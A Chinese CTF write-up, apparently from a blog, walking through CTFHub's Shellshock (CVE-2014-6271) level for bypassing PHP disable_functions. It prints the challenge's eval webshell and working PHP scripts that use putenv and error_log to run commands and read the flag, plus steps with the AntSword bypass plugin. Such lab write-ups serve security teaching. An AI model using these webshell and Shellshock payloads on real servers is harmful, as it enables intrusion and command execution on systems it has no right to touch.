CTFHub Web进阶-PHP:Bypass_disable_function通关2之shellshock(CVE-2014-6271)

目录

一、shellshock绕过

1、shellshock绕过核心原理

2、使用蚁剑进行 ShellShock 绕过

二、绕过渗透实战

1、打开靶场

2、源码分析

3、蚁剑直接连接

4、蚁剑base64编码连接

5、蚁剑虚拟终端

6、方法1:环境变量

(1)构造脚本查看根目录文件

(2)构造脚本查看/readflag

(3)构造脚本查看/flag

7、方法2:蚁剑工具-disable function

(1)disable function插件

(2)Apache mod cgi

(3)查看flag


本文详细讲解CTFHub的Web进阶中disable-functions的shellshock关卡的原理(CVE-2014-6271)与渗透全流程。主要内容包括:1) ShellShock漏洞原理,通过putenv设置恶意环境变量并调用error_log触发Bash子进程执行命令;2) 使用蚁剑工具自动化漏洞利用流程,包括连接Webshell、使用Bypass插件、生成代理脚本等;3) 两种实战方法:手动构造环境变量脚本和蚁剑disablefunction插件,最终通过执行系统命令获取flag。该技术成功突破了PHP的安全限制,实现了系统命令执行。

一、shellshock绕过

1、shellshock绕过核心原理

shellshock绕过在于利用Bash破壳漏洞(CVE-2014-6271)

  • Bash 漏洞简介:ShellShock是一个存在于Bash shell中的高危漏洞。该漏洞的成因是Bash在解析以(){开头定义的环境变量时,会错误地将花括号{}外的命令一并执行。简单来说,攻击者可以通过精心构造的环境变量,在Bash进程中执行任意命令。

  • 与PHP的关联:在PHP中,有些函数(例如mail()error_log())在执行时会启动新的子进程,并且这些子进程可能会调用Bash。这就为我们利用ShellShock漏洞提供了条件。

  • 利用链条

    • 我们通过PHP的putenv()函数,设置一个特殊的环境变量。这个环境变量的值遵循特定的格式,例如:() { :; }; /readflag > /tmp/flag.txt。其中,() { :; };是用来触发Bash解析的"炮弹",而其后跟随的/readflag > /tmp/flag.txt则是我们真正要执行的系统命令。

    • 设置好环境变量后,我们调用一个能派生Bash子进程的PHP函数,比如error_log()。当这个函数执行时,会启动子进程,如果该子进程加载了存在漏洞的Bash,我们预设的恶意命令就会被执行。

    • 这样,我们就成功地绕过了PHP的disable_functions限制,因为实际的命令执行发生在PHP之外的Bash进程中。

简单来说,整个过程就是:通过putenv设置恶意环境变量触发ShellShock漏洞,然后利用error_log()等函数启动子进程来执行系统命令。

2、使用蚁剑进行 ShellShock 绕过

蚁剑(AntSword) 是一款强大的Webshell管理工具,它集成了Bypass disable_function的插件,可以自动化上述过程。以下是具体步骤。

  • 连接Webshell:使用蚁剑成功连接到目标网站的Webshell。

  • 检查限制与寻找可用函数

    • 连接成功后,尝试在虚拟终端里执行命令(如whoami),可能会发现命令无法执行。

    • 此时,你需要查看phpinfo信息,确认disable_functions列表,并留意putenverror_log(或mail)函数是否可用。同时,需要确保目标系统的/bin/bash存在CVE-2014-6271漏洞,并且/bin/sh链接到/bin/bash

  • 使用 Bypass Disable Functions 插件

    • 在蚁剑中,找到并加载"Bypass Disable Functions"插件。

    • 选择 ShellShock 模式。根据目标环境,选择合适的进程函数,如果mail不可用,就选择error_log

    • 点击"开始"按钮执行。插件会自动完成以下工作:

      • 在服务器上生成并上传利用脚本,该脚本会通过putenv设置恶意的环境变量并调用error_log函数来触发漏洞。

      • 在网站目录下生成一个代理脚本(例如.antproxy.php),这个脚本用于后续的代理连接。

  • 重新连接并获取Flag

    • 使用蚁剑重新连接新生成的代理脚本的URL。

    • 连接成功后,现在你应该可以在蚁剑的虚拟终端中正常执行系统命令了。

    • 执行读取flag的命令(例如tac /flag),即可成功获取flag。

二、绕过渗透实战

本关卡与上一关卡方法几乎一样,只是编码器选择base64编码

1、打开靶场

http://challenge-73bf2a9c7b96d5f7.sandbox.ctfhub.com:10800/

2、源码分析

这道CTF题目考察利用ShellShockCVE-2014-6271)漏洞绕过PHPdisable_function限制。题目通过eval函数提供代码执行入口,但关键系统命令函数已被禁用。攻击原理基于Bash Shell的解析漏洞——Bash处理环境变量时,会执行函数定义后面多余的命令。通过putenv()设置恶意环境变量(如() { :; }; /bin/bash -c '执行的命令'),再调用仍可运行的system()mail()等能够触发Bash子进程的PHP函数,即可利用ShellShock漏洞将PHP代码执行转化为系统命令执行,成功突破安全限制获取服务器控制权。

CTFHub Bypass disable_function —— ShellShock

本环境来源于AntSword-Labs

<!DOCTYPE html>
<html>
<head>
    <title>CTFHub Bypass disable_function —— ShellShock</title>
    <meta charset="UTF-8">
</head>
<body>
<h1>CTFHub Bypass disable_function —— ShellShock</h1>
<p>本环境来源于<a href="https://github.com/AntSwordProject/AntSword-Labs">AntSword-Labs</a></p>
</body>
</html>
<?php
@eval($_REQUEST['ant']);
show_source(__FILE__);
?>

3、蚁剑直接连接

http://challenge-73bf2a9c7b96d5f7.sandbox.ctfhub.com:10800/ 密码ant

4、蚁剑base64编码连接

改为base64编码后成功,具体如下所示。

5、蚁剑虚拟终端

右键虚拟终端,输入命令ls和dir,如下所示未能返回结果。这是因为关键系统命令函数已被禁用,无法调用。

6、方法1:环境变量

(1)构造脚本查看根目录文件

构造脚本ljn.php, 通过putenv来设置环境变量,默认putenv定义的环境变量名必须以PHP_开头。

error_log()函数会在执行sh -c -t -i触发payload

<?php

   putenv("PHP_hy=() { :; }; ls / >> /var/www/html/test");

   //这里设置环境变量时只要前缀是PHP_即可

   //利用shellshock漏洞,执行ls /命令,建立test文件,将结果保存在test中

   error_log('',1,'','');

   //查看phpinfo,发现mail函数被禁用,error_log可用,所以在这里使用error_log,在message_type设置为1的时候,使用mail()的同一个内置函数。

   echo 'ok';//便于判断是否运行成功

?>

将脚本上传到服务器的根目录/var/www/html中,如下所示。

打开上传脚本,如下所示。

执行脚本ljn.php,如下所示执行结果为OK。

查看/var/www/html/test文件,如下所示。

(2)构造脚本查看/readflag

修改ljn.php为如下内容。

<?php

   putenv("PHP_hy=() { :; }; cat /readflag >> /var/www/html/test");

   error_log('',1,'','');

   echo 'ok';

?>

修改后如下所示。

执行脚本ljn.php,如下所示执行结果为ok。

查看/var/www/html/test文件,如下所示。

(3)构造脚本查看/flag

方法1:

<?php

   putenv("PHP_hy=() { :; }; /readflag >> /var/www/html/test");

   error_log('',1,'','');

   echo 'ok';

?>

执行脚本ljn.php,执行结果为OK。

查看/var/www/html/test文件,如下所示。

方法2:

<?php

   putenv("PHP_hy=() { :; }; tac /flag >> /var/www/html/test");

   error_log('',1,'','');

   echo 'ok';

?>

执行脚本ljn.php,执行结果为OK。

查看/var/www/html/test文件,如下所示。

7、方法2:蚁剑工具-disable function

(1)disable function插件

我们通过蚁剑工具的disable function插件绕过服务器的限制,具体操作步骤如下所示。

(2)Apache mod cgi

点击开始执行,如下所示弹出新的虚拟终端。

(3)查看flag

在新木马的虚拟终端中输入ls /、cat /readflag和tac /flag命令成功获取到flag,如下所示。

ls /
cat /readflag
tac /flag

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan天天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值